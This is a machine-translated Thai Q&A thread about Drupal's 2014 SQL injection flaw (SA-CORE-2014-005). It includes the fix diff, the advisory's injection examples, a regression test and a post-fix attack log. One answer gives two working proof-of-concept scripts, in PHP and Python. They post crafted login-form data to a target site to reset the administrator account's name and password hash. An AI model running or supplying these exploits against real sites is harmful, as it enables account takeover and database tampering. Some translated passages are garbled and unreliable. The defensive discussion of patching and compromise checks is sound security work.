แพตช์สำหรับ SA-CORE-2014-005 ชนิดใดที่การป้องกัน (Drupal 7.32) ป้องกัน?


33

อ่านบนhttps://www.drupal.org/node/2357241และรายละเอียดทางเทคนิคที่https://www.drupal.org/SA-CORE-2014-005รวมถึงแพทช์จริงซึ่งเป็นเพียง:

diff --git a/includes/database/database.inc b/includes/database/database.inc
index f78098b..01b6385 100644
--- a/includes/database/database.inc
+++ b/includes/database/database.inc
@@ -736,7 +736,7 @@ abstract class DatabaseConnection extends PDO {
     // to expand it out into a comma-delimited set of placeholders.
     foreach (array_filter($args, 'is_array') as $key => $data) {
       $new_keys = array();
-      foreach ($data as $i => $value) {
+      foreach (array_values($data) as $i => $value) {
         // This assumes that there are no other placeholders that use the same
         // name.  For example, if the array placeholder is defined as :example
         // and there is already an :example_2 placeholder, this will generate

ฉันสงสัยว่าคำขอประเภทใดที่สามารถใช้ประโยชน์จากการใช้ประโยชน์นี้



เราสามารถทำการเปลี่ยนแปลงในแกนกลางได้โดยตรงหรือไม่? database.incไฟล์
Hitesh

@hitesh คุณสามารถแก้ไขdatabase.incจากแพทช์ด้านบน (หรือด้วยมือนี่คือการเปลี่ยนแปลงเล็ก ๆ อย่างเห็นได้ชัด) แต่ฉันก็ขอแนะนำให้คุณติดตั้ง Drupal หลักของคุณไปจนสุดทาง
Charlie Schliesser

1
สำหรับผู้ที่สงสัยไม่ได้สิ่งที่ร้องขอจะใช้ประโยชน์จากข้อผิดพลาด แต่สิ่งที่ข้อผิดพลาดจริงคือผมได้โพสต์คำอธิบาย Programmers.SE
RomanSt

แม้หลังจากอัปเกรดบางคนยังสามารถวางไฟล์. php ไว้ในไซต์ของฉันได้ ฉันได้ตรวจสอบ menu_router ด้วย - ไม่มีอะไรน่าสงสัย ฉันใช้การตรวจสอบเว็บไซต์และ drupalgetaddon ด้วย
AgA

คำตอบ:


18

บริษัท ที่พบข้อผิดพลาดมีตัวอย่างในAdvisory 01/2014: Drupal - ช่องโหว่การฉีด SQL ก่อน Auth :

สารสกัดจาก:

ฟังก์ชั่นจะถือว่ามันถูกเรียกด้วยอาเรย์ที่ไม่มีกุญแจ ตัวอย่าง:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('user1','user2')));

ซึ่งส่งผลให้คำชี้แจง SQL นี้

SELECT * from users where name IN (:name_0, :name_1)

กับพารามิเตอร์และname_0 = user1name_1 = user2

ปัญหาเกิดขึ้นหากอาร์เรย์มีคีย์ซึ่งไม่ใช่จำนวนเต็ม ตัวอย่าง:

db_query("SELECT * FROM {users} where name IN (:name)", array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

ซึ่งส่งผลให้แบบสอบถาม SQL ที่ใช้ประโยชน์ได้:

SELECT * FROM users WHERE name = :name_test -- , :name_test AND status = 1

name_test = user2มีพารามิเตอร์:

เนื่องจาก Drupal ใช้ PDO จึงอนุญาตให้ใช้หลายแบบสอบถามได้ ดังนั้นการฉีด SQL นี้สามารถใช้เพื่อแทรกข้อมูลโดยพลการในฐานข้อมูลการถ่ายโอนข้อมูลหรือแก้ไขข้อมูลที่มีอยู่หรือวางฐานข้อมูลทั้งหมด

ด้วยความเป็นไปได้ที่จะแทรกข้อมูลโดยพลการลงในฐานข้อมูลผู้โจมตีสามารถรันโค้ด PHP ใด ๆ ผ่านคุณสมบัติ Drupal พร้อมการเรียกกลับ


ขอบคุณที่แบ่งปันฉันไม่พบสิ่งนี้จากการค้นหาในหัวข้อ The Problem occurs, if the array has keys, which are no integers- นี่และแบบสอบถามตัวอย่างมีประโยชน์อย่างมากในการทำความเข้าใจกับสิ่งนี้
Charlie Schliesser

19

เกิดอะไรขึ้นกับ 7.32โดยการตรวจสอบโมดูลทดสอบ คุณสามารถเห็นการทดสอบต่อไปนี้ถูกเพิ่มเป็น 7.32

+
+  /**
+   * Test SQL injection via database query array arguments.
+   */
+  public function testArrayArgumentsSQLInjection() {
+    // Attempt SQL injection and verify that it does not work.
+    $condition = array(
+      "1 ;INSERT INTO {test} SET name = 'test12345678'; -- " => '',
+      '1' => '',
+    );
+    try {
+      db_query("SELECT * FROM {test} WHERE name = :name", array(':name' => $condition))->fetchObject();
+      $this->fail('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+    catch (PDOException $e) {
+      $this->pass('SQL injection attempt via array arguments should result in a PDOException.');
+    }
+
+    // Test that the insert query that was used in the SQL injection attempt did
+    // not result in a row being inserted in the database.
+    $result = db_select('test')
+      ->condition('name', 'test12345678')
+      ->countQuery()
+      ->execute()
+      ->fetchField();
+    $this->assertFalse($result, 'SQL injection attempt did not result in a row being inserted in the database table.');
+  }
+

สิ่งนี้ควรให้ข้อมูลเชิงลึกเพิ่มเติมเกี่ยวกับวิธีสร้างการโจมตี

พิสูจน์แนวคิด เนื่องจากเวลาผ่านไปนานพอและมี PoC มากมายอยู่ในป่า

Poc # 1 - PHP

<?php

$url = 'http://www.example.com'; // URL of the website (http://domain.com/)
$post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in";

$params = array(
'http' => array(
'method' => 'POST',
'header' => "Content-Type: application/x-www-form-urlencoded\r\n",
'content' => $post_data
)
);
$ctx = stream_context_create($params);
$data = file_get_contents($url . '?q=node&destination=node', null, $ctx);

if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) {
echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login";
} else {
echo "Error! Either the website isn't vulnerable, or your Internet isn't working. ";
}

Poc # 2 Python - http://pastebin.com/nDwLFV3v

#Drupal 7.x SQL Injection SA-CORE-2014-005 https://www.drupal.org/SA-CORE-2014-005
#Creditz to https://www.reddit.com/user/fyukyuk
import urllib2,sys
from drupalpass import DrupalHash # https://github.com/cvangysel/gitexd-drupalorg/blob/master/drupalorg/drupalpass.py
host = sys.argv[1]
user = sys.argv[2]
password = sys.argv[3]
if len(sys.argv) != 3:
    print "host username password"
    print "http://nope.io admin wowsecure"
hash = DrupalHash("$S$CTo9G7Lx28rzCfpn4WB2hUlknDKv6QTqHaf82WLbhPT2K5TzKzML", password).get_hash()
target = '%s/?q=node&destination=node' % host
post_data = "name[0%20;update+users+set+name%3d\'" \
            +user \
            +"'+,+pass+%3d+'" \
            +hash[:55] \
            +"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in"
content = urllib2.urlopen(url=target, data=post_data).read()
if "mb_strlen() expects parameter 1" in content:
        print "Success!\nLogin now with user:%s and pass:%s" % (user, password)

นี่คือบล็อกที่มีรายละเอียดที่ดี: http://www.volexity.com/blog/?p=83


POC นั้นไม่ทำงาน ....
Kyle Browning

คุณสามารถโพสต์ POC ที่แฮ็กเกอร์สามารถแทนที่ $ data ด้วย array_values ​​($ data) ใน database.inc ได้หรือไม่?
Hans Rossel

ฉันสามารถยืนยันได้ว่าสิ่งนี้ใช้ได้กับเว็บไซต์วานิลลา Drupal นั่นเป็นโชคร้าย ...
AyeshK

@greggles บอกว่านี่มันเร็วไปนิด แต่ทุกคนก็ไม่ได้มีบันทึกช่วยจำ โปรดยับยั้ง
pal4life

คำถาม - จำเป็นต้องมี "? q =" เพื่อให้การโจมตีนี้ทำงานได้หรือไม่ เซิร์ฟเวอร์ของฉันเกิดขึ้นกับการร้องขอที่ลดลงด้วยการรับ arg ของ q (หรือ Q หรือ% เทียบเท่า% encoder) แค่สงสัย. เราได้รับการแก้ไขแล้วเมื่อไม่นานมานี้และไม่เห็นสัญญาณของการบุกรุกหรืออะไรเลย แต่ฉันสงสัยว่าถ้าเราโชคดีโดยการปฏิเสธคำขอ q =?
Kasapo

16

นักวิจัยที่พบข้อผิดพลาดมีหลักฐานของแนวคิด คนอื่น ๆ ได้พัฒนาบทพิสูจน์ของแนวคิดเช่นกัน อย่างไรก็ตามพวกเขาตั้งใจที่จะไม่โพสต์พวกเขาเพื่อพยายามลดโอกาสที่มันจะถูกโจมตีอย่างกว้างขวาง เราควรเคารพการวิจัยและการยับยั้งและไม่โพสต์ตัวอย่างที่นี่

หลังจากผ่านไประยะหนึ่งและเว็บไซต์ได้รับการอัพเกรดแล้วมันจะน่าสนใจมากจากมุมมองทางวิชาการเพื่อตรวจสอบรหัสการพิสูจน์แนวคิดรวบยอด ก่อนหน้านั้นมันเป็นความเสี่ยงที่ไม่จำเป็นและดึงดูดความสนใจ

รหัสในคำแนะนำของ SektioinEinsนั้นยังไม่ได้รับการพัฒนาอย่างเต็มที่ตัวอย่างของวิธีการใช้ประโยชน์จากมัน พวกเขามีรายละเอียดเกี่ยวกับจุดอ่อน แต่ไม่ได้ระบุวิธีการใช้ประโยชน์จากปัญหาอย่างแท้จริง


จะได้รับในขณะนี้ไม่กี่สัปดาห์ที่ผ่านมานับตั้งแต่ปัญหาได้รับการปล่อยตัวและ SektionEins ได้โพสต์หลายหลักฐานของแนวคิดในบล็อกของพวกเขา สิ่งเหล่านี้น่าสนใจมากเมื่อเทียบกับหลักฐานพิสูจน์แนวคิดอื่น ๆ ที่ได้รับการพัฒนาเนื่องจากพวกเขาทิ้งร่องรอยกิจกรรมไว้น้อยมาก (เช่นไม่มีอะไรในตารางเมนู _router)


4

ฉันสามารถยืนยันได้ว่าช่องโหว่นี้จะใช้ได้กับทุก Drupal 7.31 และไซต์ที่ต่ำกว่าไม่ว่าโมดูลใดจะทำงานอยู่ รูปแบบ drupal ทุกรูปแบบสามารถใช้เพื่อทำลายช่องโหว่นี้ได้

การหาประโยชน์ได้ง่ายมากดังนั้น PoC จึงออกมาแล้ว ฉันสามารถโจมตีเซิร์ฟเวอร์ของตัวเองและเปลี่ยนรหัสผ่านของผู้ใช้ในฐานะผู้ใช้ที่ไม่ระบุตัวตนในการติดตั้ง Drupal ได้ แต่ความเป็นไปได้นั้นไม่มีที่สิ้นสุด

ข้อผิดพลาดนี้เป็นที่รู้จักกันมาเกือบ 1 ปีที่แล้วผ่านทางhttps://www.drupal.org/node/2146839แต่ไม่มีใครตอบคำถามจากทีม Drupal Core Security


ไม่ได้รายงานว่าเป็นปัญหาด้านความปลอดภัยใช่ไหม
Alfred Armstrong

มันถูกติดแท็กด้วย "#security" ลำดับความสำคัญของ "หลัก" สถานะของ "ต้องการการตรวจสอบ" และรวมแพตช์ที่สามารถเข้าถึงสิ่งที่แพตช์ใน 7.32 ทำได้ บางที#หน้า "ความปลอดภัย" จะ จำกัด บางคนที่มองไม่เห็นว่าจะมีอย่างอื่นหรืออาจมีปัญหามากเกินไปในคิว ยังคงแปลกใจที่ไม่มีใครตอบกลับ
Charlie Schliesser

3
ไม่มีการรายงานว่าเป็นปัญหาด้านความปลอดภัยดังนั้นทีมรักษาความปลอดภัยอาจไม่เห็น แต่ใช่ผู้ชายไม่แน่ใจว่ามันเป็นปัญหาด้านความปลอดภัยดังนั้นนั่นอาจเป็นเหตุผล
Berend de Boer

2
มีการรายงานว่าเป็น "คำขอคุณสมบัติ" ไม่ได้เป็นข้อบกพร่อง คุณสมบัติใหม่ไม่ได้รับการยอมรับใน Drupal รุ่นเสถียรดังนั้นจึงเป็นเรื่องปกติที่ไม่ได้ดู ไม่ควรโพสต์ปัญหาด้านความปลอดภัยต่อสาธารณะมีหน้าชัดเจนเกี่ยวกับวิธีการรายงานปัญหาด้านความปลอดภัยของ Drupal ต่อทีมรักษาความปลอดภัย: drupal.org/node/101494
Hans Rossel

4

ฉันสงสัยว่าจะสามารถใช้ประโยชน์จากสิ่งนี้ได้อย่างไรและใช้เวลาและความพยายามเพียงใด? ดังนั้นฉันตัดสินใจที่จะติดตั้ง Drupal 7 เวอร์ชันเก่าบน localhost ของฉันและย้อนกลับข้อผิดพลาดนี้ สิ่งที่ฉันค้นพบคือข้อผิดพลาดที่น่าตกใจซึ่งทำให้ทุกคนที่มีความรู้พื้นฐานเกี่ยวกับ HTML / SQL สามารถเข้าถึงไซต์ Drupal ของคุณได้อย่างสมบูรณ์

ฉันจัดการเพื่อรันการฉีด SQL ลงใน Drupal 7 โดยใช้ผู้ใช้ที่ไม่ระบุชื่อในเวลาน้อยกว่า 30 นาทีของการลอง!

http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo

หมายเหตุ: สิ่งนี้ยังไม่อนุญาตให้คุณเข้าสู่ระบบเนื่องจาก Drupal ใช้ SHA512 ด้วยเกลือดังนั้นจึงไม่สามารถเข้าสู่ระบบได้จริง ฉันไม่ได้ใส่รหัสในที่นี้ แต่เห็นได้ชัดว่าทุกคนที่มีความรู้เล็กน้อยของ Drupal จะรู้วิธีที่จะเอาชนะสิ่งนี้และสร้างคำถามซึ่งจะทำให้คุณเข้าถึงได้อย่างเต็มที่!

สิ่งนี้เปิดคำถามเกี่ยวกับความปลอดภัยของ Drupal และความรับผิดชอบต่อสิ่งนี้อย่างไร เห็นได้ชัดว่าข้อบกพร่องนี้เป็นที่รู้จักกันมานานกว่าหนึ่งปี ( https://www.drupal.org/node/2146839 ) แต่ไม่มีใครไม่ตอบสนองต่อ Drupal.org โดยบังเอิญหรือตั้งใจ? :)


1

เป็นการแก้ไขช่องโหว่การฉีด SQL ที่มีการแทรกคำสั่ง SQL ที่เป็นอันตรายลงในช่องป้อนข้อมูลสำหรับการดำเนินการและอาจนำไปสู่ตัวอย่างเพื่อเผยแพร่เนื้อหาของฐานข้อมูล การแก้ไขนี้เป็นสิ่งสำคัญที่จะใช้โดยเร็วที่สุดโดยเฉพาะอย่างยิ่งเนื่องจากช่องโหว่นี้สามารถถูกโจมตีโดยผู้ใช้ที่ไม่ระบุชื่อ

ถ้าคุณไม่สามารถอัปเดตได้ทันทีทีมรักษาความปลอดภัยมีคุณสามารถใช้แพทช์นี้ซึ่งจะให้ความคุ้มครองเดียวกันจนกว่าคุณจะสามารถทำอัพเกรดเต็ม1 ทีมรักษาความปลอดภัยได้เตรียมคำถามที่พบบ่อยบางอย่างที่เกี่ยวข้องกับปัญหานี้ การทำให้ไซต์ของคุณอยู่ในโหมดบำรุงรักษาจะไม่ช่วยและโปรดล้างแคชหลังจากใช้การอัปเดตหรือตรวจสอบให้แน่ใจว่าคุณใช้ 7.32

นอกจากนี้คุณควรตรวจสอบว่าเว็บไซต์ของคุณยังไม่ถูกบุกรุก มีบางเว็บไซต์ที่รายงานปัญหาอยู่แล้ว นี่คือโพสต์บล็อกเดียวที่แนะนำวิธีตรวจสอบอัปเดตเป็น Drupal 7.32 ไม่เพียงพอไซต์ของคุณอาจถูกแฮ็ค

ฉันใช้การแก้ไขเมื่อวันที่ 15 ตุลาคมและเว็บไซต์ของฉันได้รายงานว่ามีคนพยายามใช้ช่องโหว่นี้

PDOException: SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ' 'larry' AND status = 1' at line 1: SELECT * FROM {users} WHERE name = :name_0, :name_1 AND status = 1; Array ( [:name_0] => bob [:name_1] => larry ) in user_login_authenticate_validate() (line 2149  
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.